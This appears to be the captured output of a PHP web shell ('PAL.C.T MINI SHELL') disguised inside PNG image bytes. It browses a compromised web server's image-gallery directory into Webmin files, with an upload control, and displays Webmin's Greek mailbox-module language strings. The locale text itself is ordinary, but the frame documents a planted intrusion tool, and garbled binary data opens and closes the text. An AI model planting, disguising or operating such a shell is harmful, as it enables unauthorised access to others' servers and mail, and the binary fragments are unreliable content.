php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/mailboxes/lang/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/mailboxes/lang/el

index_title=Ανάγνωση Ηλεκτρονικού Ταχυδρομείου
index_none=Δεν μπορείτε να δείτε e-mail για κανένα χρήστη σε αυτό το σύστημα.
index_header=Θυρίδες ηλεκτρονικού ταχυδρομείου χρήστη
index_empty=Κανένα μύνημα
index_esystem=Κανένας από τους υποστηριζόμενους διακομιστές mail (Exim, Qmail, Postfix and Sendmail) δεν ανιχνεύφθηκε στο σύστημά σας. Θα πρέπει να τροποποιήσετε την <a href='$1'>ρύθμιση του module </a> για να ορίσετε τον διακομιστή mail και πιθανόν χειροκίνητα τις διαδρομές φακέλων mail.
index_esystem2=Ο διακομιστής mail που έχει οριστεί στην<a href='$1'>ρύθμιση module </a> δεν βρέθηκε στο σύστημά σας. Θα χρειαστεί να τροποποιήσετε την ρύθμιση για να χρησιμοποιήσετε τον σωστό διακομιστή.
index_esystem3=Ένα σφάλμα συνέβη κατά την επικοινωνία με τον διακομιστή mail που έχει οριστεί στην <a href='$1'>ρύθμιση module</a> : $2.
index_system2=Διακομιστής Mail: Qmail
index_system1=Διακομιστής Mail: Sendmail
index_system0=Διακομιστής Mail: Postfix
index_toomany=Είναι αρκετά πολλοί οι χρήστες στο σύστημά σας για να εμφανιστούν σε μία σελίδα.
index_find=Έυρεση χρηστών όπου το όνομα χρήστη
index_equals=ισούται με
index_contains=περιέχει
index_eperl=Το Perl module $1 που χρειάζεται για την επιλεγμένη πιστοποίηση SMTP δεν είναι εγκατεστημένο ή του λείπει κάποιο εξαρτώμενο module. <a href='$2'>Πατήστε εδώ</a> για να το εγκαταστήσετε τώρα.
index_file=Ανάγνωση Mail από το Αρχείο:
index_nousers=Κανένας χρήστης δεν βρέθηκε!
index_nousersmail=Κανένας χρήστης με email δεν βρέθηκε.

mail_title=Ηλεκτρονικό Ταχυδρομείο Χρήστη
mail_from=Από
mail_date=Ημερομηνία
mail_subject=Θέμα
mail_to=Προς
mail_cc=Κοινοποίηση
mail_bcc=Κρυφή Κοινοποίηση
mail_pri=Προτεραιότητα
mail_highest=Μέγιστη
mail_high=Μεγάλη
mail_normal=Κανονική
mail_low=Χαμηλή
mail_lowest=Ελάχιστη
mail_for=Σε $1
mail_for2=Για τον χρήστη $1
mail_sent=Στην λίστα των απεσταλμένων email
mail_size=Μέγεθος
mail_level=Σκορ
mail_delete=Διαγραφή
mail_compose=Σύνθεση
mail_open=Άνοιγμα
mail_return=Εισερχόμενα χρήστη
mail_pos=Μηνύματα $1 έως $2 από $3 σε $4
mail_none=Αυτός ο χρήστης δεν έχει μηνύματα σε $1
mail_ecannot=Δεν έχετε δικαίωμα να διαβάσετε τα email αυτού του χρήστη
mail_all=Επιλογή όλων.
mail_invert=Αναστροφή επιλογής.
mail_nosort=Επαναφορά ταξινόμησης.
mail_search=Εύρεση μηνυμάτων όπου
mail_body=Σώμα
mail_match=ταιριάζει με
mail_ok=Εύρεση
mail_nonefrom=Κανένα
mail_mark=Σημείωση ως:
mail_mark0=Μη αναγνωσμένο
mail_mark1=Αναγνωσμένο
mail_mark2=Ειδικό
mail_forward=Προώθηση
mail_move=Μετακίνηση σε:
mail_copy=Αντιγραφή σε:
mail_rfc=Από τη γραμμή
mail_eexists=Το μήνυμα δεν υπάρχει πλέον!
mail_fchange=Αλλαγή
mail_indexlink=Επιστροφή σε Εισερχόμενα
mail_deleteall=Διαγραφή όλων
mail_black=Απόρριψη Αποστολέων 
mail_white=Αποδοχή Αποστολέων
mail_efile=Το αρχείο Mail δεν υπάρχει
mail_fromsrch=Όμοιος αποστολέας..
mail_subsrch=Όμοιο μήνυμα..
mail_tosrch=Όμοιος παραλήπτης..
mail_unknown=Άγνωστος

mail_sign=Υπογραφή με κλειδή
mail_nosign=&lt;Χωρίς υπογραφή&gt;
mail_crypt=Κρυπτογράφηση για
mail_nocrypt=&lt;Χωρίς κρυπτογράφηση&gt;
mail_samecrypt=&lt;Κλειδιά από διευθύνσεις παραληπτών&gt;
mail_addresses=Διαχείριση Βιβλίου Διευθύνσεων
mail_folders=Διαχείριση Φακέλων
mail_err=Ένα σφάλμα συνέβη κατά την εμφάνιση της λίστας των email σε αυτόν τον φάκελο : $1
mail_loginheader=POP3 σύνδεση διακομιστή 
mail_loginheader2=IMAP σύνδεση διακομιστή
mail_logindesc=Πρέπει να εισάγεται ένα όνομα χρήστη και έναν κωδικό για να έχετε πρόσβαση email<br>στα εισερχόμενά σας στον διακομιστή mail $1.
mail_loginuser=Όνομα Χρήστη
mail_loginpass=Κωδικός
mail_loginmailbox=IMAP Εισερχόμενα
mail_login=Σύνδεση
mail_reset=Καθαρισμός
mail_logout=Αλλαγή POP3 σύνδεσης
mail_logout2=Αλλαγή IMAP σύνδεση
mail_sig=Τροποποίηση Υπογραφής
mail_jump=Μετακίνησε στη σελίδα :
mail_of=από
mail_replyto=Απάντηση σε
mail_folder=Φάκελο
mail_delall=Διαγραφή Όλων
mail_deltrash=Άδειασμα Αποριμμάτων
mail_search2=Αναζήτηση για:
mail_search3=Εύρεση σκορ πάνω από:
mail_advanced=Προχωρημένη Αναζήτηση
mail_return2=Εισερχόμενα Χρήστη
mail_esystem=Ένα σφάλμα συνέβη κατά την επικοινωνία με το σύστημα email: $1. Θα πρέπει να διορθωθεί από τον διαχειριστή συστήματος.

view_title=Ανάγνωση Email
view_desc=Μήνυμα $1 σε $2
view_desc2=Μήνυμα $1 για τον χρήστη $2
view_desc3=Μήνυμα $1
view_sent=Μήνυμα $1 στην λίστα απεσταλμένων
view_qdesc=Μήνυμα στην ουρά $1
view_headers=Επικεφαλίδες Mail
view_body=Κείμενο Μηνύματος
view_allheaders=Εμφάνιση όλων των επικεφαλίδων
view_noheaders=Εμφάνιση των βασικών επικεφαλίδων
view_attach=Συνημμένα
view_reply=Απάντηση
view_reply2=Απάντηση σε όλους
view_enew=Επεξεργασία ως νέο
view_forward=Προώθηση
view_delete=Διαγραφή
view_print=Εκτύπωση
view_strip=Αφαίρεση Συνημμένων
view_ecannot=Δεν έχετε δικαίωμα να διαβάσετε το email αυτού του χρήστη
view_mark=Σημείωση ως:
view_mark0=Μη αναγνωσμένο
view_mark1=Αναγνωσμένο
view_mark2=Ειδικό
view_return=Πρωτότυπο email
view_sub=Συνημμένο email
view_egone=Αυτό το μήνυμα δεν υπάρχει πλέον
view_eugone=Αυτός ο χρήστης δεν υπάρχει

view_gnupg=GnuPG επαλήθευση υπογραφής
view_gnupg_0=Η υπογραφή από $1 είναι έγκυρη.
view_gnupg_1=Η υπογραφή από $1 είναι έγκυρη, αλλά η αλυσίδα εμπιστοσύνης δεν μπόρεσε να εγκατασταθεί.
view_gnupg_2=Η υπογραφή από $1 <b>ΔΕΝ ΕΙΝΑΙ</b> έγκυρη.
view_gnupg_3=Το κλειδί με ID $1 δεν είναι στην λίστα σας, και γι αυτό η υπογραφή δεν ήταν δυνατόν να επαληθευθεί.
view_gnupg_4=Αποτυχία επαλήθευσης υπογραφής : $1
view_crypt=GnuPG αποκρυπτογράφηση email
view_crypt_1=Το μήνυμα είναι κρυπτογραφημένο, αλλά η υποστήριξη GnuPG δεν είναι εγκατεστημμένη.
view_crypt_2=Αποτυχία αποκρυπτογράφησης μηνύματος : $1
view_crypt_3=Το email αποκρυπτογραφήθηκε με επιτυχία.
view_crypt_4=Το κρυπτογραφημμένο κομμάτι του μηνύματος αποκρυπτογραφήθηκε με επιτυχία.
view_recv=<a href='$2'>Λήψη κλειδιού με ID $1 από τον διακομιστή κλειδιών</a>.
view_folder=Επιστροφή στην Εισερχόμενα
view_detach=Αποσύνδεση Αρχείου:
view_dall=&lt;Όλα τα αρχεία&gt;
view_dir=στο αρχείο ή στον φάκελο στον διακομιστή:
view_black=Απόρριψη Αποστολέα 
view_white=Αποδοχή Αποστολέα
view_razor=Σημείωση ως Spam
view_ham=Σημείωση ως Ham
view_razordel=Σημείωση και Διαγραφή Spam
view_dstatus=Κατάσταση αποτυχημένης παράδοσης
view_dstatusok=Κατάσταση επιτυχημένης παράδοσης
view_final-recipient=Τελικός αποδέκτης
view_diagnostic-code=Λόγος αποτυχίας
view_remote-mta=Απομακρυσμένος διακομιστής email
view_reporting-mta=Ενημέρωση στον διακομιστή email
view_astext=Προβολή ως κείμενο
view_ashtml=Προβολή ως HTML
view_raw=Ακατέργαστη Εμφάνιση 

compose_title=Σύνθεση Email

reply_title=Απάντησε σε Email
forward_title=Προώθηση Email
enew_title=Επεξεργασία Email
reply_headers=Επικεφαλίδες Εmail
reply_attach=Προωθημένα συνημμένα αρχεία
reply_mailforward=Προωθημένα μηνύματα
reply_attach2=Προσθήκη συνημμένων 
reply_attach3=Συνημμένα προς αποστολή
reply_send=Αποστολή Mail
reply_ecannot=Δεν έχετε δικαίωμα να στείλετε email ως αυτός ο χρήστης
reply_body=Κείμενο μηνύματος
reply_errc=Αποτυχία αντιγραφής email
reply_errm=Αποτυχία μετακίνησης email
reply_return=Σύνθεση email
reply_efwdnone=Κανένα από τα προωθημένα μηνύματα δεν υπάρχει

reply_spell=Έλεγχος ορθογραφίας ;
reply_draft=Αποθήκευση ως Πρόχειρο

send_err=Αποτυχία αποστολής email
send_eto=Λείπει η διεύθυνση Προς
send_efrom=Λείπει η διεύθυνση Από
send_esubject=Λείπει το Θέμα του μηνύματος
send_title=To email στάλθηκε
send_ok=Το email στάλθηκε με επιτυχία σε $1
send_sending=Αποστολή email σε $1 ..
send_ecannot=Δεν έχετε δικαίωμα να στείλετε email ως αυτός ο χρήστης
send_esmtp=Η εντολή SMTP $1 απέτυχε : $2
send_eattach=Τα συννημένα δεν μπορούν να έχουν μέγεθος πάνω από  $1 kB.
send_eperms=Ο χρήστης $1 δεν μπορεί να διαβάσει $2
send_eperms2=Δεν έχετε το δικαίωμα να στείλεται το αρχείο $1
send_epath=Το εκτελέσιμο Sendmail $1 δεν υπάρχει.
send_efile=Αποτυχία ανάγνωσης συνημμένου $1 : $2
send_done=.. ολοκληρώθηκε.

send_epass=Δεν μπορείτε να υπογράψετε ένα μύνημα διότι η κωδική φράση σας δεν έχει οριστεί ακόμα στο module GnuPG.
send_esign=Αποτυχία υπογραφής μηνύματος : $1
send_ekey=Δεν ήταν δυνατή η εύρεση κλειδίου για την διεύθυνση email $1
send_ecrypt=Αποτυχία κρυπτογράφησης μηνύματος : $1
send_eword=Ορθογραφικό λάθος λέξης $1
send_eword2=Ορθογραφικό λάθος λέξης $1 - πιθανές διορθώσεις $2
send_eline=Στην γραμμή $1 :
send_espell=Τα ακόλουθα ορθογραφικά λάθη βρέθηκαν στο μήνυμά σας ..
send_draft=Το email προς $1 αποθηκεύθηκε στον φάκελο Προχείρων.
send_drafting=Αποθήκευση email προς $1 στον φάκελο Προχείρων ..
send_eattachsize=Το συνημμένο αρχείο ξεπέρασε το μέγιστο επιτρεπτό μέγεθος των $1 bytes

delete_title=Διαγραφή Mail
delete_rusure=Είστε σίγουροι ότι θέλετε να διαγράψετε τα $1 επιλεγμένα μύνηματα από $2; Αυτό μπορεί να διαρκέσει αρκετό χρόνο για μεγάλα αρχεία email. Μέχρι να ολοκληρωθεί η διαγραφή, καμία άλλη ενέργεια δεν θα πρέπει να πραγματοποιηθεί.
delete_rusure2=Είστε σίγουροι ότι θέλετε να διαγράψετε το $1 επιλεγμένο μύνημα από $2; Αυτό μπορεί να χρειαστεί αρκετό χρόνο εάν το αρχείο email είναι μεγάλο. Μέχρι να ολοκληρωθεί η διαγραφή, καμία άλλη ενέργεια δεν θα πρέπει να πραγματοποιηθεί.
delete_ok=Διαγραφή Τώρα
delete_ecannot=Δεν έχετε δικαίωμα να διαγράψετε email από αυτόν τον χρήστη
delete_enone=Κανένα email δεν επιλέχθηκε για διαγραφή
delete_emnone=Κανένα email δεν επιλέχθηκε για σημείωση
delete_efnone=Κανένα email δεν επιλέχθηκε για προώθηση
delete_ebnone=Κανένα email δεν επιλέχθηκε για απόρριψη
delete_ewnone=Κανένα email δεν επιλέχθηκε για αποδοχή
delete_ernone=Κανένα email δεν επιλέχθηκε για σημείωση ως spam
delete_ehnone=Κανένα email δεν επιλέχθηκε για σημείωση ως ham
delete_emoveuser=Ο χρήστης που θέλει να μετακινήσει email δεν υπάρχει
delete_ecopyuser=Ο χρήστης που θέλει να αντιγράψει email δεν υπάρχει
delete_emovecannot=Δεν έχετε δικαίωμα να μετακινήσετε μηνύματα προς τον συγκεκριμένο χρήστη
delete_ecopycannot=Δεν έχετε δικαίωμα να αντιγράψετε μηνύματα προς τον συγκεκριμένο χρήστη
delete_emovenone=Κανένα email δεν επιλέχθηκε για μετακίνηση
delete_ecopynone=Κανένα email δεν επιλέχθηκε για αντιγραφή
delete_nobutton=Δεν κάνατε κλικ σε κανένα κουμπί
delete_ereport=Αποτυχία σημείωσης ως spam : $1
delete_errc=Αποτυχία αντιγραφής email
delete_errm=Αποτυχία μετακίνησης email

confirm_title=Επιβεβαίωση διαγραφής
confirm_warn=Είστε σίγουροι ότι θέλετε να διαγράψετε τα $1 επιλεγμένα μηνύματα;
confirm_warn2=Λόγω του μεγέθους και της διαμόρφωσης της ηλεκτρονικής σας θυρίδας, αυτό μπορεί να διαρκέσει αρκετό χρόνο. Μέχρι να ολοκληρωθεί η διαγραφή, καμία άλλη ενέργεια δεν θα πρέπει να πραγματοποιηθεί.
confirm_warn3=Είστε σίγουροι οτι θέλετε να διαγράψετε αυτό το μήνυμα;
confirm_warn4=Μέχρι να ολοκληρωθεί η διαγραφή, καμία άλλη ενέργεια δεν θα πρέπει να πραγματοποιηθεί.
confirm_ok=Διαγραφή Τώρα
confirm_warnall=Είστε σίγουροι οτι θέλετε να διαγράψετε όλα τα μηνύματα σε αυτόν το φάκελο;

search_title=Αποτελέσματα Αναζήτησης
search_ecannot=Δεν έχετε δικαίωμα αναζήτησης στο email αυτού του χρήστη
search_ematch=Πρέπει να εισάγεται κάποιο κείμενο πάνω στο οποίο να ταιριάξει η αναζήτηση.
search_escore=Το spam σκορ λείπει ή είναι άκυρο.
search_efield=Θα πρέπει να επιλέξετε έναν τύπο αναζήτησης.
search_ewhat=Δεν εισήχθηκε κείμενο αναζήτησης για την γραμμή $1
search_enone=Δεν εισήχθηκαν κριτήρια αναζήτησης
search_none=Κανένα μήνυμα δεν βρέθηκε.
search_results2=$1 μηνύματα email ταιριάζουν με $2
search_results3=$1 μηνύματα email δεν ταιριάζουν με $2
search_results4=$1 μηνύματα email ταιριάζουν με την αναζήτησή σας
search_results5=Σε $1 μηνύματα email βρέθηκαν $2 που ταιριάζουν με $3
search_msg2=Αποτελέσματα αναζήτησης για $1
search_msg4=Αποτελέσματα αναζήτησης
search_msg5=Αποτελέσματα αναζήτησης για spam με σκορ $1
search_local=Στους τοπικούς φακέλους
search_all=Σε όλους τους φακέλους
search_limit=(από τα τελευταία $1 μηνύματα)
search_status=Με κατάσταση
search_allstatus=Οποιαδήποτε
search_onestatus=Μοναδική κατάσταση
search_latest=Μηνύματα προς αναζήτηση
search_nolatest=Όλα στον φάκελο
search_latestnum=Μόνο τα τελευταία
search_elatest=Λείπει ή είναι άκυρος ο αριθμός των μηνυμάτων προς αναζήτηση
search_withstatus=, με κατάσταση $1

folder_inbox=Εισερχόμενα
folder_sent=Απεσταλμένα
folder_drafts=Πρόχειρα
folder_trash=Απορρίματα

detach_err=Αποτυχία αποσύνδεσης αρχείου
detach_edir=Δεν εισήχθηκε όνομα αρχείου ή φακέλου προς αποθήκευση
detach_eopen=Αποτυχία ανάγνωσης σε $1 : $2
detach_ewrite=Αποτυχία αποθήκευσης σε  $1 : $2
detach_title=Αποσύνδεση αρχείου
detach_ok=Αποθηκεύτηκε το συνημμένο στο αρχείο $1 ($2) στην πλευρά του διακομιστή.

sform_title=Προχωρημένη Αναζήτηση
sform_and=Εύρεση μηνυμάτων που ταιριάζουν με όλα τα παρακάτω κριτήρια ..
sform_or=Εύρεση μηνυμάτων που ταιρίαζουν με τουλάχιστον ένα από τα παρακάτω κριτήρια ..
sform_neg0=περιέχει
sform_neg1=δεν περιέχει
sform_ok=Αναζήτηση Τώρα
sform_all=&lt;Όλοι οι φάκελοι&gt;
sform_local=&lt;Τοπικοί φάκελοι&gt;
sform_where=Όπου
sform_text=το κείμενο
sform_from=Από: επικεφαλίδα
sform_subject=Θέμα: επικεφαλίδα
sform_to=Προς: επικεφαλίδα
sform_cc=Κοινοποίηση: επικεφαλίδα
sform_bcc=Κρυφή Κοινοποίηση: επικεφαλίδα
sform_date=Ημερομηνία: επικεφαλίδα
sform_body=σκυρίως σώμα μηνύματος
sform_headers=Οποιαδήποτε επικεφαλίδα
sform_size=μέγεθος μηνύματος
sform_return=Φόρμα προχωρημένης αναζήτησης

find_enone=Κανένας χρήστης που να ταιριάζει με την αναζήτησή σας δεν βρέθηκε
find_title=Αποτελέσματα Αναζήτησης
find_results=Χρήστες που ταιριάζουν με την αναζήτηση για $1 ..
find_user=Όνομα χρήστη
find_real=Πραγματικό όνομα
find_group=Ομάδα
find_home=Φάκελος χρήστη
find_size=Μέγεθος email
find_incount=Emails
find_sentcount=Απεσταλμένα
find_fcount=Φάκελοι
find_in=$1 σε $2

acl_none=Κανένα
acl_same=Χρήστης με όμοιο όνομα
acl_all=Όλοι
acl_read=Χρήστες τα μηνύματα των οποίων μπορούν να αναγνωστούν
acl_users=Μόνο οι χρήστης
acl_userse=Όλοι εκτώς από τους χρήστες
acl_usersg=Μέλη των ομάδων
acl_from=Αποδεκτές διευθύνσεις Από
acl_any=Οποιαδήποτε διεύθυνση
acl_fdoms=Θυρίδα @ domains
acl_faddrs=Διευθύνσεων σε λίστα
acl_fdom=Οποιαδήποτε διεύθυνση στο @ domain
acl_fromname=Πραγματικό όνομα για διεύθυνση Από
acl_apath=Περιορισμός αρχείων και προγραμμάτων στο φάκελο
acl_attach=Μέγιστο συνολικό μέγεθος συνημμένων
acl_unlimited=Απεριόριστο
acl_sent=Αποθήκευση απεσταλμένων μηνυμάτων στην θυρίδα
acl_canattach=Μπορεί να συνάψει αρχεία από την πλευρά του διακομιστή: 
acl_candetach=Μπορεί να αποσυνδέσει αρχεία στον διακομιστη:
acl_usersm=Χρήστες που ταιριάζουν
acl_asame=όμοιο με όνομα χρήστη
acl_usersu=Με το UID μεταξύ
acl_sec=Να συμπεριληφθούν δευτερεύοντες ομάδες:
acl_dir=Μπορεί να διαβάσει αρχεία email στον φάκελο
acl_dirauto=Απόφαση αυτόματα (οπουδήποτε εάν όλοι οι χρήστες είναι εμφανείς, πουθένα αλλιώς)

log_delmail=Διαγράφηκαν $1 μηνύματα από $2
log_movemail=Μετακινήθηκαν $1 μηνύματα από $2 σε $3
log_copymail=Αντιγράφηκαν $1 μηνύματα από $2 σε $3
log_send=Αποστολή email σε $1
log_read=Ανάγνωση email για $1

emodified=Αυτός ο φάκελος τροποποιήθηκε από την τελευταία φορά που εμφανίστηκε! Επιστρέψτε στην <a href='$1'>λίστα των email</a> και προσπαθήστε ξανά.

razor_title=Σημείωση Ως Spam
razor_title2=Σημείωση Ως Ham
razor_report=Το μήνυμα σημειώνεται και ενημερώνονται το Razor και άλλες SpamAssassin spam-blocking βάσεις δεδομένων ..
razor_report2=Τα μήνυματα σημειώνονται και ενημερώνονται το Razor και άλλες SpamAssassin spam-blocking βάσεις δεδομένων ..
razor_report3=Απο-σημειώση μηνυμάτων και ενημερώση σε Razor και σε άλλες SpamAssassin spam-blocking βάσεις δεδομένων ..
razor_done=.. ολοκληρώθηκε
razor_err=.. αποτυχία! Δείτε το παραπάνω μήνυμα λάθους για την αιτιολογία.
razor_deleted=.. ολοκληρώθηκε, και το μήνυμα διαγράφηκε επίσης.

ham_title=Σημείωση Ως Ham
ham_report=Το μήνυμα σημειώνεται ως μη-Spam και ενημερώνονται το Razor και άλλες SpamAssassin βάσεις δεδομένων ...

black_title=Απόρριψη Αποστολέα
black_done=Προστέθηκε η διεύθυνση email $1 στην λίστα απορριφθέντων διευθύνσεων του SpamAssassin.
black_already=Η διεύθυνση email $1 είναι ήδη στην λίστα απορριφθέντων διευθύνσεων του SpamAssassin.

white_title=Αποδοχή Αποστολέα
white_done=Προστέθηκε η διεύθυνση email $1 στην λίστα αποδεκτών διευθύνσεων του SpamAssassin.
white_already=Η διεύθυνση email $1 είναι ήδη στην λίστα αποδεκτών διευθύνσεων του SpamAssassin.

ldap_emod=Λείπει το Perl module $1 που χρειάζεται για την σύνδεση με LDAP
ldap_econn=Αποτυχία σύνδεσης με διακομιστή LDAP $1 στην θύρα $2
ldap_elogin=Απέτυχε να συνδεθεί με τον διακομιστή LDAP $1 ως $2 : $3
ldap_ehost=Δεν έχει οριστεί διακομιστής LDAP στην ρύθμιση του module
ldap_eport=Δεν έχει ρυθμιστεί έγκυρη θύρα LDAP στην ρύθμιση του module
ldap_euser=Δεν έχει ρυθμιστεί LDAP σύνδεση στην ρύθμιση του module
ldap_ebase=Δεν έχει ρυθμιστεί LDAP βάση DN στην ρύθμιση του module

delall_title=Διαγραφή Όλων των Email
delall_rusure=Είστε σίγουροι ότι θέλετε να διαγράψετε όλα τα email από $1; $2 μηνύματα συνόλου $3 θα διαγραφούν για πάντα.
delall_ok=Διαγραφή τώρα
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`